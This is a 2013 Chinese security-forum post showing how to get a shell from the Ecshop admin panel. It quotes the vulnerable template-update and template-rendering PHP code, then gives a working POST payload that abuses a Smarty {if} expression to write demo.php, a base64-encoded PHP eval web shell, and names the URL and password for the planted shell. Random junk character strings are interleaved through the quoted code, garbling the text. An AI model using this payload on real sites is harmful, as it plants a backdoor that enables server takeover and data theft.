找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2434|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板7 m5 Q( _/ h0 n( m/ B" [

- ^  n6 e/ w% k8 U1 ?而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了8 F9 g6 }3 C$ g& s, u  h3 F
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
" _7 L. E' V) C, s: ?' B/ a0 vadmin/template.php+ }: b/ Y3 r' R
3 w+ T3 S  r) E8 }4 r3 M/ V, W
1 if ($_REQUEST['act'] == 'update_library')
9 W9 Q' H3 _: X% n% H/ e- l
) L1 T/ _+ h$ s& g+ D9 O1 V2   - G% g# Q2 R  G, B5 {2 e

1 J  a! T8 g; d; C9 y3 {
+ A" k2 _# _+ l& k
. u- L  c  D+ @, z0 T) X4     check_authz_json('library_manage'); ; U, F, B1 C, m0 Y" _, T* e) c9 y

- B) E- @; y' e* J) o2 B* d5   
! r" `, q$ L; k- F: d' l* n# V2 R, A( g$ P# k2 {' V$ p0 f
6     $html = stripslashes(json_str_iconv($_POST['html']));
. I' e. l/ b+ n8 ^" H8 V
% T6 h) n( d) q8 Q7 M1 N4 T6 g7   7 m& p( [6 j" Y( M  @
$ l& t# A4 U2 {2 ]# }+ u
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. m2 Z# L; r* |$ @4 o! a0 }3 \. Q4 `) S2 Q2 c" k* c
9   
  H$ i* ?* A! Z  [" ^& o
8 w* L9 i2 o& X. o  T10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
% s! y$ `+ S* r' M# M& B9 e" G4 E) _* d3 y1 o4 t& }: @( k% L
11   # [& x$ S" P) G* X( t2 l$ `# g
! ?6 k5 v5 ^6 C* F! Q$ a* u
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* q  s7 c  f' t1 y# k: T
& F" ]9 B( A$ h! k7 M3 J$ g13   
, S0 w% g0 w( @$ i# ~7 `9 I( I" E. \2 x. x6 k! Z$ A
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
9 X- S9 \' M0 @3 ^, W
8 D* p8 K7 E+ M0 `# @6 m15     { # B, D: u8 V% ~# b  u- g$ |

! ^3 x8 m) H4 g& k16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
2 W( D' U4 j' q0 I
, u2 E; m2 ?+ A! `" e; n17         make_json_result('', $_LANG['update_lib_success']);
2 i( Y3 [5 s; Z  c; U
9 C1 U: \9 [1 @4 y; n) W18     } 3 e7 f, L+ O0 S. B

1 X2 B, Z$ L, B5 `9 W: @19     else : Z# X  [* j+ p9 H4 O! I/ q  G
( V% Q' E0 ^6 u1 w5 R3 O
20     {
/ |9 g* b1 R+ y6 u7 i; i% O
# e  ^3 H" _4 r* r) S% L21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " K1 e5 V0 R/ N
8 L, B& }& _5 |- ?+ M+ u+ m
22     } & Y& Q/ D+ s  m2 a: v
1 n: `( F) R, b( z0 |
23 }
0 a2 T6 N: A. z8 l6 @) q" ?) f
) @9 ?2 w, ?; M; P$ B. l, k那么找个比较方便调用了模板的文件0 d8 V; T1 G( L: A! N+ v2 b
index.php: B8 C* g; k( d# t9 A- t$ `: w

% y# R* Z0 t5 e# Z' H4 Y: q: Y4 ~7 v1 if ($act == 'cat_rec') 6 O/ \1 \; a3 L  ?7 e2 u

$ b- q; Z9 {6 Z5 ^2   
: j; q4 x. c% W- E9 ~# T+ u9 \4 T5 p. d5 K- q
3 {
1 |  C6 a8 ~( _! Q) ]- l( h3 P" f
4   % N* b$ Z. _2 X- k
$ d' Q% O1 L( E: M" u6 _
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
; v* l1 F6 x2 r/ i5 Q4 F
$ W/ g) j- _: u" p  ~% b% K* q( x" @6   
5 L, l0 D/ ^/ R& X; v- |0 w& U( Q5 X: [" e
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
) p. A7 q3 p: X9 A" B% P4 J0 A2 S8 U! w2 d3 h# w
8   
0 b  `' Y" \, L) O" P; V7 \& l1 S" H. c7 C
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; , Y+ l% K2 v( x4 v
+ b+ }, o$ C+ m4 k$ ^$ e
10   
; l! W# s; D5 S/ e4 O
; B( c$ D9 w" u9 |$ B; C11     include_once('includes/cls_json.php');
1 {0 v& `9 }( s; R# }  ?* `/ q# U1 [9 g
12   
+ Y4 f" l, }: H! v: T$ g9 P
; D% }+ w6 V& E) y13     $json = new JSON; 8 D# R9 A! B! W& {  B
5 z: f! @) w* p2 W: J
14   
# K) x7 B- C8 j
8 H7 c* E7 D. c0 _15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); # Y% n) B* t2 m6 U
% I4 C* r2 @9 }) Z9 K
16   7 P6 [' K! v* d
  P& B9 E6 P" R! U) {& y+ F' W9 S  e6 C
17     $children = get_children($cat_id);
4 v% U  t5 F) u& l; u9 R* j, k  j, z- v& H; f% v
18   # y: {1 ?. d- R' n/ [) B$ _
) W4 J! V8 n# b# L6 H/ ?1 `0 m0 a
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
& N$ I$ G7 Y) w0 O$ |; |% }# ^# `
20   
1 m; B1 ~3 W- U7 m' d
( b0 P" G6 N4 X2 Q  t21     $smarty->assign('cat_rec_sign', 1);
! {8 g! \- f; l3 m# P9 O/ F% V0 [& W0 p; ^  E5 M
22   2 w" s; O  [7 }$ ~7 E8 s. l

. E  f& S9 w5 S/ y1 l& W* K23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 j" f1 j" `$ {! r4 q
) ^9 t; i8 d+ U/ p24   
6 e2 Q8 B+ D' p3 \
4 Q% Z* X1 ^1 W* k25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ n" v& k& c$ Y7 o
" t+ y. R- j: \1 u( [& F26   : x' `! b2 l* g' N- o

2 K0 W# W3 N9 V: B27         echo $rec_array[$rec_type];
0 p& l) N" e$ c+ F( {# E4 R
  Q0 ]+ y! Z& l28   # ?" ?1 S5 i9 g

. V( N1 ~: G& o  I* r29     die($json->encode($result));
9 y" j* }4 J$ [$ i! s& j, x* ?8 q: e! o
30   
+ `+ ]  `! o0 N+ e
" t) S6 \1 w! D6 l3 i/ p* P+ I31 } 1 t( b/ J9 D% a, @

" O* Y0 a/ F( S0 N; z那么就有利用方法了
' a# u% y+ h& x6 opost包到http://localhost/ec/admin/template.php?act=update_library% A" n9 D9 ]. v
Post内容:
; m' b# v* p3 k2 c- ?6 T
7 P* M; I; n) n4 ?
2 e# P0 z1 X% o: a1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
) }5 X+ R- x; u9 h* D3 n# e" G
然后访问http://localhost/ec/index.php?act=cat_rec
4 ?" ]2 @) P5 A# u
8 V5 m9 X0 f7 g) K' K/ J% J: wshel地址:http://localhost/ec/demo.php
4 P, w2 d& _, r( S8 v: x密码c9 M8 V: J* w1 V: N
) x5 a9 F2 f0 |" g( J% c+ p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表